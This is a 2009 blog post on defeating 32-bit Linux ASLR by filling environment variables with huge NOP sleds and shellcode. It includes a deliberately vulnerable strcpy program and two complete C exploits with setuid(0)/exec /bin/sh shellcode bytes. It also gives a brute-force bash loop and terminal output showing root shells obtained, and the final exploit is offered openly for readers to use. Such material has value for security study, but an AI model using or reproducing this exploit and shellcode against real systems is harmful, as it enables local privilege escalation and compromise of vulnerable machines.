Sunday, December 13, 2009

Beating Linux ASLR with Environment Variables

I've been experimenting with ASLR some more, and discovered a very interesting side effect from the way Linux environment variables are made accessible to executable programs. Environment variables are always put at the end of the stack. So, since the stack is always aligned at "fff" for the last 12 bits, it means that in a static environment, the same variable will always have it's last 12 bits static. Further, the first 8 bits is also static, so this means for a static environment, there is only 32 - 12 - 8 bits of randomization, in other words only 12 bits of randomization.

Using this fact, you can load your shellcode into an environment variable. Make a small program to determine it's first 8 and last 12 bits, and pick a random value for it's middle 12 bits. You then use this as your return address, which would be the only value repeated throughout the exploit payload. Running this a few times you're bound to hit your shellcode in a very short period. I tried it a few times, and it was under 10 seconds every time.

To further decrease the random bits you can make an extremely large NOP sled. For 12 bits, you have 2^12 possible values, of which only 1 will be a hit. If you make your NOP sled 4096 bytes, then you increase the amount of hits to 2. To explain this, assume you're environment variable is at address: 0xbf010b3c. If your NOP sled was 4096 bytes, this means your environment variable will stretch from 0xbf010b3c to 0xbf011b3c. So with the 12 bits of randomization 2 possible values will hit your sled.

I've found that I can get a variable up to 4096*32 bytes. With these large values it becomes unnecessary to even know the last 12 bits, because any value in these 12 bits will fall in the NOP sled, as long as the first 20 bits do.

So to try this all out, I made a program which builds an environment using a full 128kbs. I found the maximum environment variable to be exactly 32 * 4096 + 1 bytes. The extra byte I assume is for the equal sign. So if you simply fill the complete environment with 128kb of shellcode, you can get maximum possible effect. If you use multiple such variables I've also found that you can get at most 16 of them before execve() stops executing the program. This seems to be a 2MB environment limit.

I made the following vulnerable program:
// build with: gcc -fno-stack-protector -o vuln vuln.c
#include <stdio.h>
#include <string.h>

void func(char *argv[])
{
char buf[100];
fprintf(stderr, "a: %p\n", getenv("a"));
strcpy(buf, argv[1]);
}

int main(int argc, char *argv[])
{
func(argv);
}

And then the following program to exploit it:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

char shellcode[]=
// setuid(0) + exec(/bin/sh)
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80" // 35 bytes
;

#define ESIZE (32 * 4096 - sizeof(shellcode))

int main(int argc, char **argv)
{
char buf[200];
int i;
char *envptr = (char*)malloc(ESIZE);
char *args[] = {"./vuln", buf, 0};
char *env[] = {envptr, 0};

// here we just pick any 0xbf... address. Running it once you'll see
// the vulnerable program print an address, using the first 8 and
// last 12 bits from this address is a good idea.
long envaddr = 0xbfcccfca;

fprintf(stderr, "T: %p\n", envaddr);

// build the return address buf
for (i = 0; i < 200; i += 4)
{
*((long*)&buf[i]) = envaddr;
}

// create the environment
memset(envptr, 0x90, ESIZE);
memcpy(envptr + ESIZE, shellcode, sizeof(shellcode));

// so we can print the addr in the vulnerable program we give it a name
memcpy(envptr, "a=", 2);

execve(args[0], args, env);
}

It basically builds a buffer with a selected return address. This is just any
address. As long as the first 8 bits are 0xbf you should get a hit pretty quickly.

It then builds an environment which consists of a very large NOP sled and the 35 byte shellcode, and executes the program.

I ran this in a bash loop (while true; do ./bigenvsploit; done) and got a successful exploitation in 50 executions! Then I quit the shell and got another hit in 12 executions!

I made another one which uses 16 environment variables with the same values but different names. In the process I discovered a stack overflow in GLIBC (gonna be a nice one!). With this version of the exploit I get a hit in less than 5 iterations... usually on the FIRST execution!
$ quintin@quintin-laptop bigenv $ ./bigenvsploit 
T: 0xbfcccff5
a: 0xbfcb7fca
$ exit
quintin@quintin-laptop bigenv $ ./bigenvsploit
T: 0xbfcccff5
a: 0xbf9b3fca
Segmentation fault
quintin@quintin-laptop bigenv $ ./bigenvsploit
T: 0xbfcccff5
a: 0xbf8edfca
Segmentation fault
quintin@quintin-laptop bigenv $ ./bigenvsploit
T: 0xbfcccff5
a: 0xbfb51fca
$ exit
quintin@quintin-laptop bigenv $ ./bigenvsploit
T: 0xbfcccff5
a: 0xbf7d1fca
$ exit
quintin@quintin-laptop bigenv $ ./bigenvsploit
T: 0xbfcccff5
a: 0xbfa32fca
$ exit


Brilliant!

For your pleasure, here it is:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

char shellcode[]=
// setuid(0) + exec(/bin/sh)
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80" // 35 bytes
;

#define ESIZE (32 * 4096 - sizeof(shellcode))

int main(int argc, char **argv)
{
char buf[200];
int i, en;
char *args[] = {"./vuln", buf, 0};
char **env = (char**)calloc(sizeof(char*), 17);

// here we just pick any address. Running it once you'll see the vulnerable
// program print an address. we pick the last 12 bits a bit lower, so to
// further increase hit probability (had the random addr fallen on our edge)
long envaddr = 0xbfcccff5;

fprintf(stderr, "T: %p\n", envaddr);

// build the return address buf
for (i = 0; i < 200; i += 4)
{
*((long*)&buf[i]) = envaddr;
}

// create the environment
for (en = 0; en < 16; ++en)
{
char *envptr = (char*)malloc(ESIZE);

memset(envptr, 0x90, ESIZE);
memcpy(envptr + ESIZE - sizeof(shellcode), shellcode, sizeof(shellcode));

envptr[0] = 'a' + en;
envptr[1] = '=';

// so we can print the addr in the vulnerable program we give it a name
env[en] = envptr;
}
env[en] = 0;

execve(args[0], args, env);
}

No comments: